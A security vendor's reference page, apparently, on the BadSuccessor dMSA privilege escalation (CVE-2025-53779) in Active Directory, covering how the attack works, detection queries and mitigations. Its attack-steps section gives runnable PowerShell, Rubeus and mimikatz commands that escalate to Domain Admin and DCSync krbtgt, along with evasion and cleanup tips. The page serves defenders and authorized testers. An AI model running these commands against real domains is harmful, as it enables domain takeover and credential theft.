1. Resources
  2. Identity Threats
  3. Active Directory

BadSuccessor (dMSA Privilege Escalation, CVE-2025-53779)

Also known as: BadSuccessor, dMSA abuse, dMSA migration abuse, CVE-2025-53779, Delegated managed service account abuse

A user who can create or edit a delegated managed service account links it to any account as its successor and receives that account's privileges and keys from the KDC.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
The right to create child objects in any OU or container, or write access to an existing dMSA. No rights on the target account are needed on an unpatched domain controller.
What the attacker gains
A Kerberos ticket with the group memberships of any chosen account, up to Domain Admins, and that account's Kerberos keys from the dMSA key package.
Threat groups
HAFNIUMLazarus GroupNIMBUS MANTICOREScattered SpiderTeamPCPVOID MANTICOREAgriusAkiraAPT28APT29APT3APT32APT33APT5and 30 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1098, T1068, T1558, T1078.002.

How it works

Windows Server 2025 introduced the delegated managed service account (dMSA), a successor to the traditional service account with keys that the domain controller manages and never hands out as a password. To make adoption easy, a dMSA can take over from an existing account. An administrator runs Start-ADServiceAccountMigration and later Complete-ADServiceAccountMigration, and from then on the dMSA does everything the old account did.

The takeover is recorded in attributes:

  • msDS-ManagedAccountPrecededByLink on the dMSA holds the distinguished name of the account it replaces.
  • msDS-DelegatedMSAState on the dMSA holds the migration state: 1 while the migration is running, 2 when it is complete.
  • Matching link and state attributes are written to the superseded account, and the completed migration disables it.

When a dMSA whose state is 2 authenticates, the KDC treats it as the continuation of its predecessor. The ticket's privilege attribute certificate contains the dMSA's own SID together with the SID and all group SIDs of the superseded account. The reply also carries a key package (KERB-DMSA-KEY-PACKAGE) with the dMSA's current keys and, as previous keys, the keys of the superseded account, so that tickets issued to the old account stay usable.

The flaw that Akamai researcher Yuval Gordon published in May 2025 is that the KDC based this entirely on the two attributes of the dMSA. The migration cmdlets are restricted to administrators, but the attributes are ordinary attributes: whoever has write access to a dMSA can set them directly. And whoever creates a dMSA controls it. So a user with the right to create objects in any OU creates a dMSA, writes the distinguished name of a Domain Admin into the link, sets the state to 2, and asks for a ticket. No right on the target account is needed, and the target is not changed in any way.

Microsoft patched the KDC in August 2025 (CVE-2025-53779). According to Akamai's analysis of the update, a patched domain controller issues the ticket only if the link is mutual: the target account must also reference the dMSA. The attribute itself can still be written. Two uses remain after patching: an attacker with write access to a target account can pair it with a dMSA to get its privileges and keys, and an attacker who already controls the domain can collect account keys through ticket issuance in place of replication.

Prerequisites

  • At least one Windows Server 2025 domain controller in the domain. Older domain controllers do not implement dMSA authentication.
  • One of:
    • Create rights for msDS-DelegatedManagedServiceAccount objects, or for all child objects, on any OU or container. Rights that lead to these also count: GenericAll, WriteDACL or WriteOwner on the OU, or ownership of it.
    • Write access to msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState on an existing dMSA (GenericWrite, GenericAll, WriteDACL, WriteOwner).
  • A principal the attacker controls that the dMSA will allow to retrieve its credentials, for example a computer account created through the machine account quota.
  • For the original attack: a domain controller without the August 2025 security update. On patched domain controllers, write access to the target account as well.

Akamai reported that in 91 percent of the environments it examined, users outside Domain Admins held the required rights. This is a delegation problem as much as a software flaw.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find where dMSAs can be created

Akamai's script lists the identities that can create dMSAs and the OUs where they can do it. It needs only read access to the domain, excludes built-in privileged groups, and does not expand group membership.

.\Get-BadSuccessorOUPermissions.ps1

2. Prepare a principal to act for the dMSA

The example creates a computer account with Powermad, which works for any user while ms-DS-MachineAccountQuota is above zero.

New-MachineAccount -MachineAccount WS77 -Password (ConvertTo-SecureString '<password>' -AsPlainText -Force)

3. Create the dMSA in a writable OU

Use the ActiveDirectory module of Windows Server 2025, which has the -CreateDelegatedServiceAccount switch.

New-ADServiceAccount -Name 'svc-dmsa' -DNSHostName 'svc-dmsa.corp.example.com' `
    -CreateDelegatedServiceAccount `
    -PrincipalsAllowedToRetrieveManagedPassword 'WS77$' `
    -Path 'OU=Apps,DC=corp,DC=example,DC=com'

As the creator, the attacker owns the new object and can grant an account it controls full control of it:

$dn  = 'CN=svc-dmsa,OU=Apps,DC=corp,DC=example,DC=com'
$acl = Get-Acl "AD:$dn"
$who = New-Object System.Security.Principal.NTAccount('CORP\alice')
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $who, [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($ace)
Set-Acl -Path "AD:$dn" -AclObject $acl

4. Write the migration link and state

$dmsa = [ADSI]'LDAP://CN=svc-dmsa,OU=Apps,DC=corp,DC=example,DC=com'
$dmsa.Put('msDS-DelegatedMSAState', 2)
$dmsa.Put('msDS-ManagedAccountPrecededByLink', 'CN=Administrator,CN=Users,DC=corp,DC=example,DC=com')
$dmsa.SetInfo()

The dMSA now claims to be the completed successor of the built-in Administrator.

5. Request a ticket as the dMSA

Get a TGT for the controlled computer account, then use it to request a ticket for the dMSA. Rubeus added the /dmsa option for this exchange.

.\Rubeus.exe asktgt /user:WS77$ /password:<password> /enctype:aes256 /nowrap
.\Rubeus.exe asktgs /targetuser:svc-dmsa$ /service:krbtgt/corp.example.com /dmsa /opsec /nowrap /ptt /ticket:<base64_tgt>

The returned ticket carries the group memberships of the linked account, and the reply's key package holds that account's keys as previous keys. Impacket's getST.py has a -dmsa option for the same request from Linux.

6. Use the privileges

With a Domain Admin's groups in the session, the usual next step is DCSync:

mimikatz # lsadump::dcsync /domain:corp.example.com /user:CORP\krbtgt

Impact

On an unpatched domain controller this is privilege escalation from a minor OU delegation to Domain Admin, in a handful of directory writes and two Kerberos requests. The attacker can repeat the link for any account, so the technique also works as credential dumping: each ticket request returns the keys of the linked account in the key package.

On patched domain controllers the reach is smaller but not zero. An attacker who can write to a target account gets its effective privileges and keys through a mutual link, as an alternative to shadow credentials or a password reset, and without changing the account's password.

OPSEC and artifacts

  • No change on the target. The original attack writes only to the dMSA. Monitoring of privileged accounts, their passwords and their groups stays silent, which is the technique's main advantage.
  • The dMSA itself is new. Creating it writes event 5137 where an audit entry covers the OU, and dMSAs are still rare enough that any new one draws a look. Operators who have write access to an existing dMSA reuse it to avoid the creation event.
  • The attribute writes. Setting the link and the state writes event 5136 for each attribute where audited. A state that goes straight to 2 with no earlier state 1 is not what the migration cmdlets produce. If the attacker sets the attributes in the same operation that creates the object, the creation event is the only directory trace.
  • Cleanup. Clearing the link or deleting the dMSA after use removes the standing evidence from the directory but adds further change events, and the replication metadata of the object keeps the history until the object is gone.
  • The helper account. A computer account created through the machine account quota writes event 4741, see the machine account creation rules. Using an account the attacker already controls avoids it.
  • Kerberos traffic. The TGT request for the helper account and the request for the dMSA appear in event 4768 and event 4769 on the Windows Server 2025 domain controller. Akamai's research adds that the domain controller logs event 2946 in the Directory Service log when it issues a ticket with a dMSA key package, naming the dMSA.
  • What follows is loud. Replication of krbtgt by a session that belongs to a service account is caught by the DCSync detection rules.

Detection

  • Every dMSA creation. Audit creation of msDS-DelegatedManagedServiceAccount objects and review each event 5137: who created it, in which OU, and whether a migration was planned. A dMSA created by a non-administrative account is an incident.
  • Writes to the migration attributes. Alert on event 5136 for msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState. Read the value: a link to a privileged user, or to any account that is not a service account in a planned migration, is malicious until explained. After patching, also audit the link attributes on user accounts, because the mutual link needs a write there. The BadSuccessor detection rules cover creation and link writes.
  • State review. List every dMSA with its predecessor link and state on a schedule. Flag an enabled user that is linked to a dMSA, since a completed migration disables the old account.
  • Ticket activity of new dMSAs. Kerberos requests for a dMSA minutes after its creation, from a host that runs no service.
  • Exposure. Run the permission review from step 1 regularly and treat create-child rights on OUs as sensitive.
// dMSA created, or its migration attributes written
WindowsEvent
| where Channel == "Security" and EventID in (5136, 5137)
| extend Attribute = tostring(EventData.AttributeLDAPDisplayName),
         Class = tostring(EventData.ObjectClass),
         Target = tostring(EventData.ObjectDN),
         Actor = tostring(EventData.SubjectUserName),
         Value = tostring(EventData.AttributeValue)
| where (EventID == 5137 and Class =~ "msDS-DelegatedManagedServiceAccount")
     or (EventID == 5136 and Attribute in~ ("msDS-ManagedAccountPrecededByLink", "msDS-DelegatedMSAState"))
| project TimeGenerated, Computer, EventID, Actor, Target, Attribute, Value
| order by TimeGenerated asc

Both events need Audit Directory Service Changes on domain controllers and audit entries on the OUs and dMSA objects. Without them the attack leaves only Kerberos events.

Mitigation

  • Patch every Windows Server 2025 domain controller for CVE-2025-53779 and confirm the servicing level on each one. A single unpatched domain controller that answers the request is enough.
  • Remove create-child rights from non-administrative principals. Review every OU and container for principals that can create dMSAs or all child objects, including inherited grants and control of the OU's access control list. The site's BadSuccessor write-up walks through finding and removing them.
  • Restrict who can modify dMSAs. Limit write access to msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState and the retrieval list on existing dMSAs to Tier 0 or dedicated service account administrators.
  • Protect accounts from becoming predecessors. After patching, the attack needs write access to the target account, so review who holds GenericWrite, GenericAll or WriteDACL on privileged users.
  • Set the machine account quota to zero so that ordinary users cannot create the helper computer account; see the MachineAccountQuota guide.
  • Require a record for every migration: the dMSA, its predecessor, the owner and the change window. Anything outside that record is a finding. General guidance is in how to secure Active Directory service accounts.
  • After a confirmed abuse, disable the dMSA, clear the link, reset the password of the linked account because its keys were exposed, and if the linked account was an administrator, respond as for a domain compromise.

Detection rules for this attack

Log events to collect

FAQ

What is BadSuccessor?

BadSuccessor is a privilege escalation in Active Directory domains with Windows Server 2025 domain controllers. It abuses the migration feature of delegated managed service accounts: by writing two attributes on a dMSA, an attacker marks it as the successor of another account, and the KDC then issues the dMSA a ticket with that account's privileges. Microsoft tracks it as CVE-2025-53779.

Does my domain have to use dMSAs to be vulnerable?

No. The feature is available as soon as the domain has one Windows Server 2025 domain controller. The attacker creates the dMSA, so no existing dMSA, migration or service is required. What matters is whether non-administrative principals can create objects in some OU or container, which is a common delegation.

Did the August 2025 update fix BadSuccessor?

It closed the escalation from OU rights alone. Patched domain controllers issue the ticket only when the target account also points back to the dMSA, as in a real migration. The link attribute can still be written, and an attacker who already has write access to a target account can still pair it with a dMSA to obtain its privileges and keys. The rights involved remain sensitive after patching.

Why is nothing changed on the targeted administrator account?

In the original attack every write goes to the dMSA object: the link to the predecessor and the migration state. The target account, its password and the privileged groups are untouched, so monitoring of privileged accounts and group membership shows nothing. The traces are the creation of the dMSA and the attribute writes on it.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.